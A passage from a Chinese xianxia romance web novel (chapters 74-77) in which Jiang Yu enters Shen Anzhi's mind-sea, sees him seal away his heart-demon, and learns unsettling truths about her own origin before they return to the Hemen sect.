他眸中深处燃着炽烈的火焰:“如今的我比三年前强上百倍,无需再藏拙隐忍。我能护你,姜喻。无论你是继续做风云城风华无双的少城主,还是一只身负重明血脉的半妖。如今全天下的妖皆入魔域,再无人可轻视你,再无人能伤你分毫。” 姜喻心中似被什么狠狠烫了一下,心中的疑问渐有明了,酸意冲上眼眶,心中刺痛一下。 她再也忍不住,泪珠大颗滚落,攥紧的拳头轻捶打着他的胳膊,哭腔破碎:“傻子!入了魔,万一被整个修真界追杀怎么办?你怎么敢……” 三年,他分明最是厌恶妖族,为了护住她这只半妖,堕入这魔域,执拗地要护着她周全。她埋首在他胸膛,哽咽着追问:“你是自愿入魔的?” 沈安之手忙脚乱地去擦拭她汹涌的泪。 泪珠似灼人的雨,一颗颗砸落在他沉寂黝黑的心海,烫得他心尖发颤。 慌忙将人按进怀里,下颌抵着她的发顶,一遍遍不厌其烦地轻抚着她的后脑,“别哭了,自愿的。” 看见她落泪,沈安之心中微刺痛着,心海同样落下黑色的倾盆大雨,“我……夫人,不然咬我一口出气。” “自愿的”三个字似水溅入油锅,姜喻气得浑身一颤,却又有无形的暖流在心里流淌。 心疼、气恼、沮丧,一股脑的在心里翻涌,姜喻哭得更大声了,“我没想你入魔……” 她之前所作所为,全是白费功夫。 哭到最后,姜喻索性将满是泪痕的小脸埋进他胸前的衣襟,毫不客气地全蹭了个干净。 原著中那个被陷害,被逼至绝境才黑化堕魔的少年,可她万万想不到,这一次,他是为了她,自愿承受一切入了魔,来到这魔域。 可她想要的,从来不是他这般不惜性命,不计后果的付出。 恼恨与心疼交织,姜喻低头一口咬上那只还在笨拙擦拭她泪痕的手腕。看着手腕留下清晰的红痕,她心绪才仿佛找到一丝宣泄的出口,稍稍平复。 泪眼朦胧地抬眸,那双总是晦暗到深不见底的丹凤眸,只有一片将人溺毙,近乎偏执的宠溺与纵容。 姜喻擦了擦酸涩的眼角,打起精神地在他怀里瓮声瓮气地问:“我给你留的东西,你可 曾看到?” 沈安之呼吸微滞,心底暗自一紧,目光紧紧地盯着她的发旋,“夫人说的和离书?自然是早早撕碎了去,我可不想夫人有一丝一毫,与我和离的机会。” 他眸光沉了沉,不明白姜喻为何旧事重提,语气喑哑又急切:“夫人,莫不是要再给我一封?”他攥紧拳头,指尖泛白,压抑眼底的疯魔,似快被抛弃收敛利爪的猛兽。 “不是的,安之。”见沈安之误会,姜喻的手抓着他的衣襟,忙不迭地开口道,“你有没有见到我托顾师姐送你东西?” 沈安之见姜喻不是要给自己和离书,他松了一口气,绷紧的身形松懈,“我未曾见过。” 姜喻不解地歪头:“你没收到?” 第75章 “除了和离书,夫人还为我留下了什么……”沈安之嗓音轻颤,紧张地双眸微眯,身形绷地笔直,心中无端地期待姜喻的下话。 他眸光一眨不眨,姜喻指尖微光流转,妖力于掌心汇聚,凝成一枚悬浮半空的令牌虚影,其上镌刻的“姜喻”与“沈安之”两个名字,在微光中生辉。 “我改了我的少城主令牌,”姜喻托着虚影,语气认真,“有了它,灵石管够,够你底气十足地游历天下。” 在她看来,再没什么比实实在在的钱财更能给人撑腰了。她歪了歪头,明亮的眼中透出困惑,“可你怎么会没收到……” 话音未落,他单手抵住额角,细密的冷汗顷刻间沁满额头,眉心暗红坠魔印浮现出红芒。 沈安之身形颤抖,仿佛被无形的巨手拖回那个难以忘怀,痛苦的记忆 沈安之仿佛又回到了风云城,当目睹桌案上孤零零地躺着信笺,封面“和离书”三个字,狠狠扎进眼底。他失魂落魄地退后一步,喉结滚动,一口滚烫的鲜血猛地喷溅而出,染红了前襟。几乎疯魔到,差点死在心魔手中。 “安之,醒醒!”姜喻慌乱地扶稳他,不停的唤着他,他猛地咬牙堵住喉头的鲜血,溢出的血点溅上她的脸颊。 沈安之在额角猛地拍了拍,心海深处的心魔蛊惑的声音在他耳畔,不停重复低语:恨,你恨,恨自己,死的人为什么不是你。偏偏是姜喻,偏偏是她…… 明明该死的是他,他本是抱着必死的决心。自私地,哪怕只是拥有她一瞬。 她才是这个世界上最傻的傻瓜…… 沈安之眉心的坠魔印闪着夺目的红芒,滚烫的于他眉心闪动。 她试图用妖力接触堕魔印让它平息,可她的妖力凝聚出刚触碰到额头。再一睁眼,意识竟被送至这片黝黑的心海。 这里是沈安之的心海。 姜喻环顾一圈四下,比起初见,此刻沈安之心海中翻涌着凶险的暗流,比以往更是黝黑诡谲。 她大步而行。 仿佛在回应她的步伐,方才倾盆而下的大雨收歇。 黝黑沉寂的海面上,无数雪白的五瓣花涌现,随波轻荡,簇拥着漫至她脚边。 姜喻垂眸望去,雪白的花海在墨色海水中沉浮,美得惊心动魄,却又透着一股子说不出诡谲与凄清。 她继续向前,足尖轻点水面。除了落不下去,而本该荡开的浪花在触及她周身时,温顺平息,不敢惊扰。 而在花海与墨浪交织的海域中央,沈安之孑然而立。 墨汁般的海浪在他四周疯狂翻卷,高高扬起的浪头一次次狠狠拍打在他悬浮的足底、翻飞的衣摆。 而汹涌的暗流之下,仿佛蛰伏着无形的力量,带着森然的恶意,拼命想将他拉扯下去。 沈安之眸光亮的惊人,嘴唇嗫嚅出三个字:“你来了。” 起初姜喻并未觉出异样,当她的目光落回海面,翻涌不息的浪潮点醒了她。 这心海待他,与待她,竟是如此泾渭分明,天差地别。 抬首望向沈安之的瞬间,四周翻涌着不祥暗流的海水暴起,两道粗壮如巨蟒的漆黑水绳破浪而出,缠上沈安之的双踝,猛地向下拖拽。 他甚至来不及发出任何声音,整个人被黑色漩涡吞没,消失在海面之上。 “沈安之!”姜喻心头一震,想也不想朝漩涡赶去。 周遭的海水仿佛活了过来,带着狡黠的恶意,层层叠叠化作黑色的水幕,尖锐的水刺,灵蛇般缠阻她的去路。 姜喻眸色一厉,指尖妖力瞬间凝成一把匕首,手腕一转,斩断一道道屏障,水雾迸溅。 就在她即将冲破最后一道阻碍时,姜喻身形几乎一个踉跄前倾,顺着力道回头,只见一只稚嫩遍布伤疤的小手正紧紧攥着她的胳膊。 那手的主人,是个约莫七八岁的孩童。 可就在她眨眼刹那,孩童的身体以肉眼可见的速度抽长,骨骼发出伸展的细微声。不过眨眼功夫,化作一位弱冠之龄的少年。 那张脸,分明与三年前的沈安之一模一样! “他”紧抿着唇,隐忍地垂着眼睫,纤长的睫毛在眼下投下浓重的阴影,唯有扣住她腕间的手指微微发颤,泄露着极力压抑的情绪。 冰凉的声音带着一丝不易察觉的颤抖,低低传来: “别去,求你……” 姜喻心头警铃大作,抽回被紧扣的手腕,退后一步,她蹙眉盯着眼前这张熟悉的脸,声音微紧:“你是谁?” “他”茫然垂首,长睫在眼下投出小片阴影似在仔细思考,陡然逼近一步,眼眸满是懵懂与湿意,直勾勾紧盯着她,“我?我也不清楚……” 仿佛一只被主人遗弃的小狗,只待她一丝垂怜。 姜喻念头一冒出来,对这张脸,产生了几分怜惜,看“他”尤为顺眼了一点。 “你别拦我了,我要去寻人,你知不知沈安之,就是这心海的本人在哪?” 一听到姜喻要离开,甚至要去寻沈安之,“他”眉头骤然紧蹙,一改这般可怜兮兮的外表。敛眸一笑,眸光一眨不眨时极具有侵略性,“这么快分辨出不同,真是小瞧了我的小红雀了。 “他”笑得肆意不羁,抱臂微弯腰靠近她时,眼神动作确实有八分像,但气质上略带一丝细微的不同,“别去,他能做的,我也可以做到。” “可你不是他,”姜喻直视着眼前这张与沈安之一般无二的脸,陈述一个早已了然的事实,“你是他心海里诞生的心魔吧。” 身份被一语道破,“沈安之”不打算继续伪装了。上手轻攥紧她的手腕,嗓音喑哑蛊惑道:“既知我是谁,还妄想逃?没有我,你寸步难离此地。想出去的话,乖乖呆在我身边。” 他指腹摩挲着她腕间细腻的肌肤,语气陡然变得强硬,带着病态的独占欲,“你是我的,我的。” 姜喻吃痛地蹙眉,心底忍不住翻了个白眼。 真是见了鬼了,不管是正主还是这冒牌货,这独占欲倒是一脉相承。 “放手,你抓疼我了。”姜喻没好气地挣扎着。 听到她的声音,“沈安之”面上掠过一丝慌乱。攥紧的手指下意识松开了些,却在完全抽离前,尾指贪恋地轻轻勾过她的尾指。 姜喻像被烫到般,飞快地将手缩了回去。 “你能带我去找他吗?”揉着发红的手腕,姜喻直接切入正题看着他。 “不行!” “他“眼底掠过猩红暗芒,再次逼近,试图用深邃惑人的眼攫住她的心神,声音低沉呢喃:“别去找他。他哪里好?他做不到的,我能为你做到。他能做到的,我 只会比他做得更好千倍万倍……” 诱哄的语调里藏着一丝卑微,他急切地想要证明自己。哪怕只是沈安之的一个影子,一个永不见天日的心魔。 见他态度坚决,姜喻心知多说无益,转身奔向那片刚刚沈安之消失的位置。 海水黑得深不见底,仿佛能吞噬一切光亮。 姜喻心急如焚,妖力、灵力轮番催动,纤纤玉手一次次尝试穿透海面无形的屏障,然而无论她如何施为,指尖触及的海面只是漾开一圈微弱的涟漪,随即又恢复如初的平静。 海水像是拥有意识一般,将她坚决地隔离在危险之外,小心翼翼地保护。 屡试无果,姜喻不得不回头。 只见那顶着沈安之面容的心魔,正姿态闲适地抱臂立于她身后不远处,唇边噙着一抹似嘲非嘲的轻笑,好整以暇地瞧着她徒劳挣扎。 “该怎么下去?”姜喻强压下心头的焦灼,开口道。 “想知道?”“沈安之”挑了挑眉,哼笑一声,眼底带着势在必得的光芒,“好啊,你答应我,留在这里,永远留在我身边,我便告诉你。” 姜喻简直被“他”这样气笑了,无奈地扯了扯嘴角,“为什么你非要我在这里不可?” “因为,”他俯身,俊美的脸庞凑近她,近得能看清她眼中清晰的倒影,语气带着一种理所当然的偏执,“我是因你而生的魔啊。我们本就该时时刻刻在一起,永不分离,不是吗?” 这话像一颗石子投入心湖,姜喻喉间微微一涩。她抬眸强压下不宁的心绪,故作寻常地问道:“那这三年,你和他过得好吗?” 心魔神情微动,问的人整个人愣了一瞬,故作轻松的尾指勾起她脖颈的铜钱摩挲一下,随手放开,目光落在海面上弯唇一笑,“自然是好啊。” “你说谎了。”姜喻看见心魔不经意地,流露出本能中一样的细微动作,更加肯定了心中的猜测。 哪怕是心魔,也是沈安之不肯面对她的另一面。 “你会留在我身边吗?”心魔执拗地再问了一遍。 姜喻迎着他晦暗的视线,答得清晰而坚定:“我会留在沈安之身边。”她的目光悄然观察着他面上细微的变化。 “我不是他!”心魔眼底掠过一丝落寞,随即被更深的阴鸷覆盖。他侧过头,避开她妍丽的眸,“费尽心思将你带到这里,不是为听你口口声声念着他。” “可你就是他,”姜喻不退反进,一步踏前,海风猎猎拂动她的衣袖,对上她的眼,“你是他割舍不掉的一部分。” “呵……”一声嗤笑从他喉间溢出,带着冰冷的嘲弄,对这种说法他嗤之以鼻,“那你可知道,他对你来说可从不是一个好人。” “你,想不想知道?”心魔蛊惑着她的眼,狡黠一笑,心海本是平静如波,却在话语声落下的片刻,骤然翻卷起滔天的巨浪。 “沈安之”不屑的嗤笑一声,勾唇抬手,将黑色魔气注入到心海,掀起风浪被强制平息。他气定神闲,眸底幽深翻涌着,似将姜喻绯红的身影全部笼罩。 “是什么?”姜喻眸光带着不解望向他,静待下文。 “沈安之”唇角勾起,语带讥诮:“他怕是没告诉过你吧?你与他梦境相通,而且他反噬发作起来可是要命的。可即便如此,他还是执意与你成婚。呵,他骨子里就是个自私自利、怯懦卑劣的东西,哪配得上你半分温柔……” “住口!”姜喻出声打断,“这些话轮不到你来告知我,我要听的,是他亲口对我说。” 见她似乎动了真怒,心魔反而低低笑出声,带着几分恶劣的兴味:“啧,不到黄河心不死。你便去问问,看看我所言是真是假。” “他”转身引路,墨色衣袂拂过脚下涌动的海面。 姜喻沉默跟上。 途中,心魔几次状似无意地伸手欲牵,皆被她侧身避开。 这般明显意思,他却浑不在意,甚至饶有兴致地垂眸打量她紧绷的侧脸,慢悠悠道:“不急,你且好好想想,待会儿见了他该从何问起?” “嗯。”姜喻只低应一声,目光落在脚下。 越往深处,踩过的心海之上,那种奇异的五瓣白花便愈发繁茂,随暗涌无声摇曳。 姜喻瞥见心魔眼中闪烁,试图再次挑拨离间,索性将视线投向花海,主动开口道:“这生于心海的花,究竟从何而来?” “它们啊,与吾同源,皆是心海孕育。”心魔故意语焉不详,狭长的眼尾扫向她,带着一丝引诱,“自吾诞生有记忆起,它们便在这沈安之的心海中,随海浪沉浮了。” 姜喻并未如他所愿追问,俯身拈起一朵近旁的雪白的花朵。花瓣触手冰凉,凑近鼻尖,竟有股极淡地馨香。更令她早已惊讶的是,翻涌的黑色海浪掠过花朵,竟似有灵般温柔绕开,不曾吞没分毫。 见她毫无探究之意,心魔回身,踱步靠近,声音不疾不徐:“如何,这花可还入眼?” “嗯,好看啊。”姜喻抬眼,粲然一笑,日光般纯粹,侧眸的一瞬撞见心魔飞快别过脸,唇角紧抿,一脸毫不掩饰地郁闷模样。 这什么,晴天娃娃的脸啊,说变就变? “切,有什么稀罕。”“他”被姜喻笑容刺到,出手拂落她手中的小白花。 紧接着,“沈安之”掌心魔气翻涌,一大捧灼灼盛放、形似桃花的花束凭空出现,不由分说地硬塞进姜喻的怀里。 带着点赌气意味道:“拿着这个。” 这突如其来的幼稚行径弄得哭笑不得,又有些新奇,抱着花束低声道了句谢。 约莫一炷香后,“沈安之”蓦地停步。 心海无声向两侧裂开,一座水牢被无形的力量缓缓托出水面。 浑浊的海水顺着栅栏汩汩淌落。 姜喻瞳孔骤缩,捏紧拳头,压抑着喉头几乎溢出的轻唤。 水牢中央,沈安之被数道粗重锁链悬吊着,墨发湿透黏着双颊,双目紧闭,无力垂落,如一只破碎的玉偶。唯余起伏的胸口,证明他存着一丝气息。 哪怕知晓这里是沈安之的心海,姜喻也几乎绷不住强装的外表。她侧过头,咬紧下唇,堪堪压下翻腾的怒火,“他若是不言,我问得清楚,你空口白牙,我怎知是真是假。” 心魔懒洋洋地挥手,散去水牢。 “他”悬浮在半空,洋洋得意地等待着两人即将上演的对峙。 姜喻靠近沈安之身形的一瞬,将他紧紧拥入怀中,手臂忍不住后怕地微颤。 脱离水牢的桎梏,沈安之意识上所受的伤痕以肉眼可见的速度愈合。 他眼睫轻颤,缓缓掀开。映入眼帘是姜喻满是担忧的眸子,“你醒了?!”急切地抚上他的脸颊,“感觉怎么样?有没有哪里不舒服?” “我没事。”沈安之的声音虚弱而沙哑。 他哪怕昏迷时脱离了对心海的掌控,但心魔的所作所为,他都听得、看得真真切切。 坐直身体,目光触及“他”所赠的花束,眸底寒光一闪,指尖一簇幽蓝的灵火瞬间将的花瓣焚为灰烬。 抬手理了理姜喻凌乱的发丝,指尖触到温热的肌肤,像被烫到一般,缩了一下。 沈安之始终垂着眼,不敢直视姜喻的亮眸,“你想问什么,都可以。他说的那些事……都是真的。” 姜喻没有犹豫,捧住他的脸颊,迫使他抬起视线。 “可我信你,安之。你我梦境相通,其实,我早有预感。至于嫁你……” 姜喻一字一顿,清晰无比,“我姜喻,永不后悔,我心悦沈安之,天上地下,只嫁你一人。” 沈安之身形一震,晦暗的眸子难掩的痛苦与不敢置信。他喉结滚动,带着最后一丝希冀求证: “纵使他说的……全是真的?” 第76章 姜喻用力一点头,清亮的眼眸里满是不容置疑的认真,“纵使他说的是真的,我也绝不会走。” 一股暖流瞬间 包裹住沈安之,眼底翻涌的不安与阴霾被逐渐驱散,一点点化作笑意和歉疚。 心魔心中微动,妒意狠狠击中他。意识到自己被姜喻摆了一道,喉间溢出一声冷笑,目光却带着不受控制的紧张,落在姜喻身上。 “姜喻,你心软是你的事,你能轻飘飘放过他,我可不会!” 姜喻迎向那张与沈安之如出一辙,却写满戾气的俊美面容,声音清澈而无奈:“你生于他的心海,本就是一体同源,何必非要斗个你死我活?” “果然……”心魔眼底闪过一抹懊悔,指节攥得发白,“就不该带你来找他!” 沈安之起身挡在姜喻身前护着,幻化出一把铜钱剑,锋利剑尖对准心魔,眸底晦暗不清的厌恶化作实质。 本是他心底阴暗面滋生的心魔,此刻却成了棘手的隐患。 “我杀不了你,却能将你永镇于此。” “呵,那就试试!”心魔戾气陡生,心海之水应念而起,化作森然利剑破空斩向沈安之,眼底是不加掩饰的杀意。 姜喻身形微晃,足下浪涛一卷,轻柔地将她送至数丈之外的安全处。 “安之,小心了。” “夫人,你站远些。”沈安之回眸安抚弯唇,应答完,两道剑光如游龙般,瞬息交错,两者碰撞间似镜像。 一时难分伯仲。 眼见二人身影化作模糊残影,姜喻妖力流转,倏忽闪现至沈安之身前,素手一抬,硬生生截住心魔一击。 魔气在触及她的刹那堪堪收住,心魔被迫踉跄后退一步,隐隐有反噬之兆。 “我因你而生,姜喻。你知道的,我伤不了你。”心魔语气平静,可不甘的目光穿透姜喻,盯在她身后执剑而立的沈安之身上。 “我不可能看见你伤害他。”姜喻眸光如炬。 沈安之心头一暖,唇角勾起狡黠一笑,对着心魔挑衅般挑眉。无需言语,眼神击碎心魔所有妄念:看,能牵动夫人心绪的,唯有他,沈安之。 即便眼前的心魔不过是他当年亲手剥离的一部分,此刻见它引得姜喻侧目,沈安之骨血里依旧渗出一丝不适,近乎是记恨。 夫人的目光,只能为他一人停留。 沈安之忽地从姜喻身后欺近,颀长的身影将她全然笼住。他一手虚虚捂住心口,高大的身躯顺势微微佝偻,下颌抵在她后脑勺的发顶,依赖地似一头伤痕累累的猛兽:“夫人……” “我在了。”姜喻略偏头,脸颊蹭过他的鬓发,任由他身形依附。 心魔冷哼,暴怒欲扑,惊觉力量流失,脸色一变。 身侧翻腾的海浪裹挟着无数雪白晶莹的花朵,如万千利矢,铺天盖地朝“沈安之”奔袭。 “你怎会知晓……”心魔骇然瞪大双眼,仓皇后退,躲闪着那些看似柔弱的白花。 沈安之玩味一笑,指尖微动,滔天巨浪轰然拍下。 心魔之躯瞬间被击溃成一团黑色雾气,溃散中飞速渗入幽暗心海。 沈安之指诀变幻,符文印向海面。 翻腾挣扎的魔气被无形的巨力拖拽,毫无反抗之力地沉入黝黑的海底深渊。 姜喻看他完成了封印才侧首,困惑问:“这些花为何对他伤害如此之大?” 沈安之忽的一笑,尾指悄悄勾缠住她的尾指,眷恋缓缓收紧,十指相扣,答得坦荡至极,“它们是我心念所化。最初,不过只开出一朵。后来,随波逐流,缀满了这片心海。” 他语气微顿,耳根悄然漫上薄红,声音低了几分,“皆是,思慕夫人至深的情意所凝。” ——难怪那时心魔欲言又止,唯恐她知晓。 姜喻怔愣了一下,心里流淌着暖流。瞧着沈安之近乎“撒娇”的解释,坦荡倒不似沈安之平素作风。 她唇角抑制不住地上扬,面上明媚的笑意,忽而凑近一些,指尖轻轻捏了捏沈安之微烫的脸颊,宠溺地打趣道:“这么多花儿,看来蓄谋已久呀。” “自然啊,夫人。”沈安之低笑一声,手臂收紧,将她纤细腰肢牢牢揽入怀中,亲在她唇角,发出清晰的“啵”的一声,“夫人,我认错态度良好。” “嗯,确实。以前怎么不见你,言语这般直来直去?”姜喻故意地逗着他,力道让两人相牵的手轻轻一摇。 沈安之笑得嘴角都合不拢,心神沉沦在她小动作里。 真想把夫人藏起来,藏到一个无人知晓的位置。 “自是为了夫人。”沈安之认真地一笑,眼底是毫不掩饰的独占欲,故作叹息一口。 “若是说慢一步,夫人丢了为夫跑掉了怎么办。这不,差点让心魔拐跑了。” 雪白的花瓣如细雪般簌簌而来,在两人身边悄然绽开。 姜喻忍俊不禁,眉眼弯弯,噗嗤一声笑出声,“好,我不跑,我们该离开……” 边说边转身欲走,沈安之俯身轻扣上她后颈,姜将未尽的话语,尽数封缄于他辗转的唇舌之间。 他熟稔地攻城略地,撬开她微启的唇齿,在她城池间肆意搅弄风云,落下细密如雨的吻。 吻起初缠绵,继而变得又深又猛。姜喻被吻得气息微乱,白皙的脸颊飞起红霞,有气无力地轻捶他的胸口。 沈安之心头雀跃跳动,似被一只小红雀的爪子轻挠了一下,软的一塌糊。 良久,沈安之恋恋不舍地松开嫣红水润的唇瓣,气息微促。 “夫人。”沈安之双手捧起姜喻的脸,眼底翻涌着浓烈的愧疚与后怕,轻轻摩挲着她微烫的肌肤,“三年前,你为我思虑得这般周全,可我,差点误了你决绝离我而去。以后,绝无可能。” 姜喻仰着脸,笑容依旧明媚,又带着几分无奈,“没事的,谁也没想到会是这样。谁曾想,随最后那件‘信物’一同给你的书信,竟石沉大海,你未曾收到。” 她所求的不过是沈安之能清清白白,不必藏拙,能在那鹤门宗内做个畅快的弟子,光明正大地活下去。 可偏偏事与愿违。 “嗯,如今知晓虽迟,可我定会给夫人一个交代。”他眸底猩红一闪而过,心海同样翻起巨浪。 “我陪你一同去。”姜喻正色道。 “嗯,那便一起。”沈安之揉了揉她的发。 指尖微动,牵着姜喻的意识成功脱离了心海。 姜喻甫一睁眼,顿感困倦如潮水袭来,下一秒便闭上眼,身形径直朝一侧歪倒。 沈安之眼疾手快地紧紧地搂抱在怀里,下颌眷恋轻蹭在姜喻发顶,压低声音:“好好睡一觉,夫人。” 姜喻从沉睡中苏醒,发觉自己正被沈安之抱坐在怀中。 山风掠过耳际,带来一丝凉意。 她刚动了动,听见一声再熟悉不过的“嗷呜”。侧眸望去,入眼是蓬松柔软的金褐色皮毛。 “阿赖?”她带着初醒的微哑轻唤。 阿赖驮着他们,矫健身影在山岩间灵活腾跃。 “它随我一同去了魔域。”沈安之垂眸看她,唇角扬起专注的笑意,“你在,它才肯在。” 仿佛应和他的话语,阿赖蓬松的大尾巴登时摇得欢快。 不多时,山林褪去,鹤门宗熟悉又巍峨山门映入眼帘。 姜喻心头一悸。 自打随沈安之下山,似乎再未踏足此地。 她对鹤门宗的记忆本不深厚,照理不该生出怀念。 可念头一转,那些年,沈安之在此处与原主之间那些针锋相对,暗流汹涌的过往。 他心底,是否还存着芥蒂? 姜喻下意识地攥紧了沈安之的衣袖,指尖微微发凉。 ——要不要告诉他一切?她本该告诉他真相的。 这个念头刚冒尖,一个久违又带着威压的声音陡然在她脑海深处响起:“不可说!” 姜喻浑身一凛,瞬间寒毛倒竖,强自按捺着惊疑,目光谨慎地扫过四周静默的山峦。 一股沉重的疲惫感毫无预兆地袭来,眼皮不受控制地合拢,她的意识悄无声息地被拽入一片混沌。 她再睁眼时,又是那座 熟悉的小亭。 亭中身影依旧模糊,但这一次,亭外却清晰立着一个人。 与她面容别无二致的“姜喻”,正注视她。 “交易既成,休要妄想打破规则。”原主的声音不带一丝温度。 “我可以不说破……”姜喻压下心绪,直视对方,“我只问一事。任务失败那次,我是不是死过一回?被‘复活’后,我为何会流落他处?那段记忆一片空白……” “任务确是败了。”“姜喻”唇角掀起一个极轻的弧度,眸底是洞悉一切的嘲弄,“不过,你真当自己是被沈安之‘复活’的吗?” 姜喻心头一震,寒意瞬间窜遍四肢百骸。 她下意识地瞥向亭中模糊的身影,这才把目光看向“姜喻”,声音绷紧:“你是何意?” “补灵蓝聚你残魂便是极限,何谈起死回生?若非我寄居此身,驱动爬出那口冰棺你此刻,早已魂飞魄散。”“姜喻”轻笑一声,欲言又止。 “寄居?驱动?” 姜喻呼吸微滞,紧握双手,指节用力到泛白,声音几乎是从齿缝挤出,“你!你竟还能操纵这具身躯?” 岂不是她如今能被她轻易挤出身体的控制权,且没有意识。 “姜喻”不答,回以她一个意味深长的浅笑。 她脸色一白,寒意顺着脊梁爬升。 “姜喻”看着她脸颊瞬间褪尽的血色,慢条斯理地补了一句:“放心,仅次一次借用片刻,安心吧。” 第77章 姜喻声音带着不易察觉的紧绷:“我总得知晓,你到底在干什么?” 回应她的,是“姜喻”一声近乎飘渺的轻笑,带着几分漫不经心。 本不欲作答,直到亭角垂落的白幔被风拂动,纱幕后朦胧的人影低低咳了一声。 轻咳仿佛一道无形的命令,“姜喻”不疾不徐地开口:“重明鸟,岂是凡俗妖物?而你也绝非普通的半妖之身。” “她”略作停顿,目光望向此地渺远天际,“重明乃天界神鸟,凡尘只道是妖,以讹传讹。它们一族若浴凤凰之火,可借其涅槃重生。” 缓步踱至姜喻面前,带来无形的压迫,“天梯崩碎之时,一只百岁重明流落凡尘。它种下凤凰火种于岭山深处,我带你去岭山,缘由在此。” “莫云岚?你的娘亲?”姜喻下意识地追问。 称呼似乎戳中“姜喻”,“她”噗嗤一声,笑声里透着几分疏离:“恰恰相反,我无父无母,乃天地灵气汇聚,天道法则孕育而生。父母伦常,与我何干?” 姜喻脑中嗡了一声,脱口而出:“你不是《捉妖》里女配姜喻,不是原主吗?” “是你以为的原主。”“她”已行至亭边,指尖随意撩起一缕坠地的白纱把玩。 “原主呢?”心跳不受控制地加快。 “这具肉身真正的主人么……”“姜喻”回眸,直勾勾的视线,姜喻瞬间起了一层鸡皮疙瘩,“远在天边,近在眼前。” 姜喻如遭雷击,难以置信地指向自己,声音变了调:“我?你说的是我?!” “她”不置可否地微微颔首,嘴角噙着意味深长的浅笑:“怎么,很令你惊讶吗?” 荒谬感瞬间淹没了姜喻。 攥紧双手,指甲掐进掌心,声音因震惊而发颤:“当然惊讶,我有我在书外世界整整十九年的记忆。桩桩件件,清晰分明,我怎么可能只是个纸片人?!” “姜喻”终于抬眸,语气平静:“此方修真界是一个完整、真实、独立运转的新世界。你可以理解为,它与你所知的二十一世纪并存的宇宙。 至于你说的《捉妖》,不过是凡人笔墨,让你得以窥见此界过去的一角罢了……” 一连串颠覆认知的信息如潮水席卷,将她拍打得头晕目眩,措手不及。 “若我本身是修真界原住民,是莫云岚的女儿,我怎么可能去到其他世界?明明书里记载得清清楚楚,原主在这里生活了十六年,每一段过往都有迹可循……” 她的话语戛然而止。 一个匪夷所思的念头窜入她的脑海,在她“穿书”降临修真界之前。 是谁在扮演着“姜喻”的角色,走完十六年轨迹。 不言而喻,自然有“她”在进行原主的角色…… 她到底目的是为什么? 她看向眼前一模一样面容的“姜喻”:“你扮作‘我’的十六年到底为了什么?我的存在又究竟是什么?” “至于你的存在……”“她”避开质问,“等你慢慢去发现吧。” 姜喻心头兵荒马乱,七上八下,强烈的恐慌驱使她向前一步,伸手欲拦:“你说清……” 话音未落,眼前景象骤然崩解。 精致的小亭,飘拂白幔,连同亭中模糊的人影和“姜喻”的身影,刹那化作点点细碎的星尘,消失在黑暗里。 姜喻阻拦的手抓了个空,整个人因惯性向前一扑,随即一个激灵,彻底惊醒。 姜喻再一次睁开眼,腰间沈安之的手臂依旧牢牢地环抱着她,力道甚至在她惊醒挣扎的瞬间,下意识地收得更紧了几分。 抬手掩住双眸,试图遮挡几乎溢出的失态的复杂心绪。 她在那个世界有家。 奶奶慈祥的面容,有记忆中早已模糊离世的父亲身影,纵然是被遗弃的婴孩,是奶奶捡回了她一条命。 温暖的片段如此清晰,怎么会是假的?她怎会修真界的原住民? 一个念头在脑海炸响:“她”那番提醒,是否字字句句都在宣告,她再也回不去了? 那个有奶奶、有回忆的“家”已成泡影,脚下修真界,才是她真正的归处…… 眼眶不受控制地湿润,脸深深埋进沈安之怀中,汲取着安心的皂角香。 感受到怀中人儿的动作,沈安之放松了环抱的手臂,调整姿势让她更舒服地依偎。 她翻了身,脸颊紧紧贴着他的胸膛,一滴泪滑过她的脸颊。 沈安之捕捉到她眼角一闪而逝的晶莹。 那滴泪仿佛滴在他心上,他眉心微蹙,感同身受的疼惜,指腹带着几分小心翼翼的珍重,轻柔拭去她泛红眼角的湿意。 “怎么了,夫人?”他声音低沉,带着几分紧张。 “我没事。”闷闷的声音从他衣襟处传来,手臂将沈安之劲瘦的腰身抱得更紧,顺势将未干的泪意全数蹭在华贵的衣料上,“我就是想家了。” 沈安之怜惜地抱紧她,手掌在她背后轻轻安抚地拍了拍,低声诱哄,“我已飞书风云城,待此间事了,夫人便带我回去,可好?” 他垂首吻在她眉心,眼底掠过餍足暗芒,嘴角抑制不住扬起,指腹在她细腻的脸颊肌肤上反复摩挲。 被他这“带回家”的说法逗得破涕为笑,姜喻抬起脸,眼中水光未退,嘴角噙着明媚的笑意:“好,我带你回家。” 满腹疑虑被她暂时按捺,风云城,姜檀奚,唯有亲自去问才能解开心绪的一团乱麻。 见她露出的笑靥如花,沈安之手臂收紧,下颌轻蹭她的发顶一笑:“好,此事我听夫人的。” 他抬眸视线落在山门之上,抱着姜喻护着,足尖轻点,飞身离开阿赖脊背后稳稳落地,“夫人,我们到了。” 姜喻心底一紧,目光随之投向山门,点了点头。沈安之他如今眉心堕魔印,又身负魔气,自然进不了鹤门宗的护山大阵。 何况如今魔域魔域初定三年,根基未稳,不适合与第一宗的鹤门宗起冲突。 姜喻略一沉吟,提议道:“我先独自潜入瞧瞧,去寻顾疏雨问个明白。” “不行。”沈安之皱眉断然拒绝,眼底蓄着担忧之色,“我随夫人同去。” “放心,我去去就回,我一定会小心再小心。”姜喻安抚的吻落在他的侧颊,鼻尖亲昵地蹭了蹭他的鼻尖,“等我,安之,嗯?” 沈安之绷紧的线条瞬间瓦解,耳根泛起红晕,嘴角再也抑制不住地向上扬起。抬手眷恋地抚过被她亲过的地方,这才勉强颔首: “好。夫人切记,若遇险情,立时注入妖力在胸前的铜钱里。夫人,万事以己身为重。” 沈安之抱紧她,啄在她唇角狡黠弯唇,才恋恋不舍地松开手。 “知道啦,安之。”姜喻笑着应答。 阿赖在一旁候着,听懂了他们对话,焦躁地刨了刨地,尾巴恨不得缠到姜喻身上。 姜喻安抚地摸了摸它垂下的头,利落地转身,身影融入山色, 衣袂翻飞,悄然无息地奔那鹤门宗山门。 沈安之见她离去的纤细背影,指尖重重抵上眉心,散不去眼底升起的郁躁。 不过离开半盏茶的功夫,沈安之已来回踱步了数十个来回,阿赖被这踱步绕得晕头转向,软软瘫在地上,四爪朝天,发出委屈的呜咽。 沈安之却浑然未觉。 他不与鹤门宗起冲突,并非惧怕这些之人。自撕去昔日藏拙的伪装,利爪獠牙,何曾收敛? 只是鹤门宗终究系着姜喻的所在,还有师尊于他有养育之恩的微薄暖意。 若细数起来,偌大宗门,真正称得上“美好”的回忆,竟寥寥无几,十根指头都数不满。 沈安之唇角抿成直线,眼底暗潮翻涌。 不能再等了。 